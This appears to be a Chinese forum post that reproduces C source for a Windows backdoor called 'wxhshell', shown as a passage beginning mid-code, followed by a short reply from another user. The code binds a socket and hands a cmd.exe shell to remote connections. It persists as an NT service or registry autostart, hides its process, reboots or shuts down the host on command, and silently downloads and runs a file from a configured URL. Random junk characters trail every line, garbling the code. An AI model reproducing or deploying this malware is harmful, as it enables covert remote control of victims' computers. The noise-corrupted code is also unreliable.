  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&Z!-k(  
  else !rb)Y;WQt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\_tigd   
  } + R])u5c'  
  else { /QHvwaW[  
o&rejj#  
    switch(cmd[0]) { }pPxN@X  
  mY(~94{d  
  // 帮助 PPDm*,T.  
  case '?': { .pu]21m=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `iv,aQ '  
    break; GUmOK=D >  
  } !s\-i6S>  
  // 安装 @`$8rck`  
  case 'i': { Eo)Q> AM  
    if(Install()) qQ/j+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $>OWGueq64  
    else FlD !?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O]m,zk  
    break; 2<fG= I8  
    } ?b2"~A  
  // 卸载 -nN}8&l  
  case 'r': {  s4;SA  
    if(Uninstall()) q3T'rw%Eh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?5'UrqYSW  
    else 1`5d~>fV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qW][Q%'lt  
    break; vNd4Fn)H  
    } TTmNPp4q  
  // 显示 wxhshell 所在路径 `DC)U1  
  case 'p': { G~8C7$0z  
    char svExeFile[MAX_PATH]; ~( -B%Az  
    strcpy(svExeFile,"\n\r"); rh${pHl  
      strcat(svExeFile,ExeFile); vov"60K  
        send(wsh,svExeFile,strlen(svExeFile),0); -2K`:}\y&  
    break; 9w}A7('  
    } 7>wSbAR<  
  // 重启 6Ei>VcN4a  
  case 'b': { $?(fiFC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ss236&  
    if(Boot(REBOOT)) x76<u:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '2/48j X5  
    else { H;G*tje/M  
    closesocket(wsh); 5=., a5  
    ExitThread(0); wB?;3lTS  
    } 7od!:<v/  
    break; {#zJx(2yG  
    } <{3VK  
  // 关机 :I+%v  
  case 'd': { fHb0pp\[.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y=x]'3}^  
    if(Boot(SHUTDOWN)) 7zgU>$i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .^l;3*X@  
    else { [FAoC3 k-h  
    closesocket(wsh); -_%n\#  
    ExitThread(0); kJlRdt2  
    } U"aFi  
    break; ?X]7jH<iw;  
    } EbY%:jR  
  // 获取shell [|<|a3']|  
  case 's': { "DjD"?/b  
    CmdShell(wsh); }PK8[N  
    closesocket(wsh); j Bl I^  
    ExitThread(0); +g/y)]AP  
    break; !HY+6!hk  
  } 1$q SbQ  
  // 退出 {E@Vh  
  case 'x': { `V$i*{c:#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); FlrLXTx0  
    CloseIt(wsh); Yr ,e7da  
    break; g&\A1H  
    } zo7Hm]W`  
  // 离开 rts@1JY[  
  case 'q': { wX<)Fj'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Sosw|A  
    closesocket(wsh); <nvz*s  
    WSACleanup(); !n}"D:L(  
    exit(1); Qg%B<3 <  
    break; R8W{[@  
        } hof:36 <  
  } <FRYt-+  
  } 3(}W=oI  
`(q+@#)  
  // 提示信息 wZ0$ylEX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #:v|/2   
} w=rh@S]  
  } {}s7q|$  
>IJH#>i  
  return; :,fs' !  
} }<[@)g.h.  
;xN 4L  
// shell模块句柄 f-k%P$"X&  
int CmdShell(SOCKET sock) dTB^6 >H  
{ W+cmn)8  
STARTUPINFO si; xeIt7b?#  
ZeroMemory(&si,sizeof(si)); Elo m_   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Z=Q+'Hu0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z7V 1e<E  
PROCESS_INFORMATION ProcessInfo; %S. _3`A  
char cmdline[]="cmd"; ol^OvG:TQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q$yTG!q*  
  return 0; qdx(wGG  
} w +fsw@dK&  
4@u*#Bp`|  
// 自身启动模式 Ty}'A(U  
int StartFromService(void) :3gtc/pt>  
{ 2>Xgo%  
typedef struct *_}ft-*w  
{ /3Zo8.  
  DWORD ExitStatus; A% -*M 'J  
  DWORD PebBaseAddress; z|Q)^  
  DWORD AffinityMask; }G]6Rip 3  
  DWORD BasePriority; `%ZM(9T  
  ULONG UniqueProcessId; 2TXrVaM  
  ULONG InheritedFromUniqueProcessId; Y^M3m' d?  
}   PROCESS_BASIC_INFORMATION; 4[44Eku\  
_s[ohMlh  
PROCNTQSIP NtQueryInformationProcess; u3a"[DB9c  
?xWO>#/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ': 87.8$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o+*YX!]#L  
p`fUpARA!  
  HANDLE             hProcess; g=0`^APql  
  PROCESS_BASIC_INFORMATION pbi; AU -,  
A_tdtN<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >=G;rs  
  if(NULL == hInst ) return 0; &GGJ=c\  
eGkB#.+J!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sb+^~M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &xo_93  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $nUhM|It  
5/F1|N4  
  if (!NtQueryInformationProcess) return 0; @SjISZw_  
&G\Vn,1v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X4_1kY;  
  if(!hProcess) return 0; tg_xk+x  
A(V,qw8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n`8BE9h^  
J$F 1sy  
  CloseHandle(hProcess); { 0RwjPYp  
CBN,~wzP*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4W5[1GE.  
if(hProcess==NULL) return 0; 84j6.\,  
pX8TzmIB0  
HMODULE hMod; H*51GxK  
char procName[255]; RZoSP(6  
unsigned long cbNeeded; aZn]8jC%  
K~$A2b95  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hfE5[  
-+?ZJ^A   
  CloseHandle(hProcess); OyH>N/  
io%WV%1_  
if(strstr(procName,"services")) return 1; // 以服务启动 "m,)3zND3  
R&KFF'%  
  return 0; // 注册表启动 ~Ap.#VIc'  
} \5M1;  
Q =9Ce@[  
// 主模块 fUx;_GX?  
int StartWxhshell(LPSTR lpCmdLine) 6|:K1bI)  
{ #J~   
  SOCKET wsl; bWWZGl9  
BOOL val=TRUE; fm]mqO  
  int port=0; +-~8t^  
  struct sockaddr_in door; o5LyBUJ  
*lyy|3z  
  if(wscfg.ws_autoins) Install(); (SGX|,5X7  
7IkNS  
port=atoi(lpCmdLine); !xcLJ5^W  
Oxsx\f_  
if(port<=0) port=wscfg.ws_port; lt08 E2p9  
^%ZbjJ7|j  
  WSADATA data; IJ\4S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^x2zMB\t  
NH9"89]E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3MX&%_wUhB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XX&4OV,^%D  
  door.sin_family = AF_INET; nl<TM96  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |?A:[C#X  
  door.sin_port = htons(port); X!,huB^i  
3D 4-Wo4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (%~^Kmfb0  
closesocket(wsl); Gk:tT1  
return 1; 5<U:Yy  
} 4N6JKS  
eF-U 1ZJT  
  if(listen(wsl,2) == INVALID_SOCKET) { R&.mNji*  
closesocket(wsl); fVf @Ngvu  
return 1; |2ImitN0  
} ['m7Wry  
  Wxhshell(wsl); $,u>,  
  WSACleanup(); *!oV?N[eA'  
XM1; >#kz  
return 0; HpP82X xj  
&?g!)O  
} $Mg[e*ct  
E<RPMd @a  
// 以NT服务方式启动 fofYe0z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MHj RPh  
{   6a}  
DWORD   status = 0; GHNw.<`l?  
  DWORD   specificError = 0xfffffff; }fO+b5U  
2ieyU5q7#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @cB7tY*Ski  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w.VjGPp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,>+B>lbJ*  
  serviceStatus.dwWin32ExitCode     = 0; *'w?j)}A9g  
  serviceStatus.dwServiceSpecificExitCode = 0; Zzn N"Si,  
  serviceStatus.dwCheckPoint       = 0; 9$k0  
  serviceStatus.dwWaitHint       = 0; ~Y/:]&wF  
OEw#;l4 C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {ty)2  
  if (hServiceStatusHandle==0) return; .jUM'; l  
rjK]zD9  
status = GetLastError(); )E|{.K  
  if (status!=NO_ERROR) 9U>OeTh(  
{ )Cu2xRr^`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ff&jR71E  
    serviceStatus.dwCheckPoint       = 0; -wa"&Q  
    serviceStatus.dwWaitHint       = 0; wKU9I[]  
    serviceStatus.dwWin32ExitCode     = status; igx~6G*  
    serviceStatus.dwServiceSpecificExitCode = specificError; C19}Y4r:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p0rmcP1Ln  
    return;  LXoZ.3S  
  } "7q!u,u  
P{,A%t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ui RO,B}z  
  serviceStatus.dwCheckPoint       = 0; .8wf {y  
  serviceStatus.dwWaitHint       = 0; ZJe^MnE (G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `=V p 0tPI  
} Gg e X  
z~"Q_gme  
// 处理NT服务事件,比如:启动、停止 5G2G<[p5oQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j*\oK@  
{ ?lE&o w  
switch(fdwControl) [*C%u_h  
{  WD55(  
case SERVICE_CONTROL_STOP: /:tzSKq}  
  serviceStatus.dwWin32ExitCode = 0; fUMjLA|*I<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }W)b  
  serviceStatus.dwCheckPoint   = 0; Jxf>!\:AZu  
  serviceStatus.dwWaitHint     = 0; W_L*S4 ~  
  { 3n,jrX75u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FI,K 0sO/|  
  } jB<B_"  
  return; oN2#Jh%dH  
case SERVICE_CONTROL_PAUSE: "1$X5?%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0qINa:Ori  
  break; e"y-A&|  
case SERVICE_CONTROL_CONTINUE: >?O?U=:<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IClw3^\l  
  break; !YPwql(  
case SERVICE_CONTROL_INTERROGATE: yh2)Pc[  
  break; zLgc j(;  
};  5@DCo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mw3$QRM  
} E{0e5.{  
in K]+H]{  
// 标准应用程序主函数 + -uQ] ^n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <6Y|vEo!N  
{ _\=x A6!  
)DmydyQ'  
// 获取操作系统版本 LC4VlfU  
OsIsNt=GetOsVer(); r?itd)WC<X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =+LIGHIt  
_Pno9|  
  // 从命令行安装  svx7  
  if(strpbrk(lpCmdLine,"iI")) Install(); ic5af"/(\  
uh2 F r  
  // 下载执行文件 ^&D5J\][  
if(wscfg.ws_downexe) { _&~l,%)&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,hH c -%-  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0C;Js\>3]  
} 8 :WN@  
h/oun2C  
if(!OsIsNt) { Fv7]1EO.  
// 如果时win9x,隐藏进程并且设置为注册表启动 [n2zdiiBd  
HideProc(); Qo :vAv  
StartWxhshell(lpCmdLine); fF(AvMsO  
} (/2rj[F&  
else t{>#)5Pqv  
  if(StartFromService()) \61H(,  
  // 以服务方式启动 )!kt9lK  
  StartServiceCtrlDispatcher(DispatchTable); tA^+RO4  
else T$`m!mQ4  
  // 普通方式启动 S{?l/*Il*_  
  StartWxhshell(lpCmdLine); aGBd~y@e  
1d~d1Rd  
return 0; je@&|9h  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八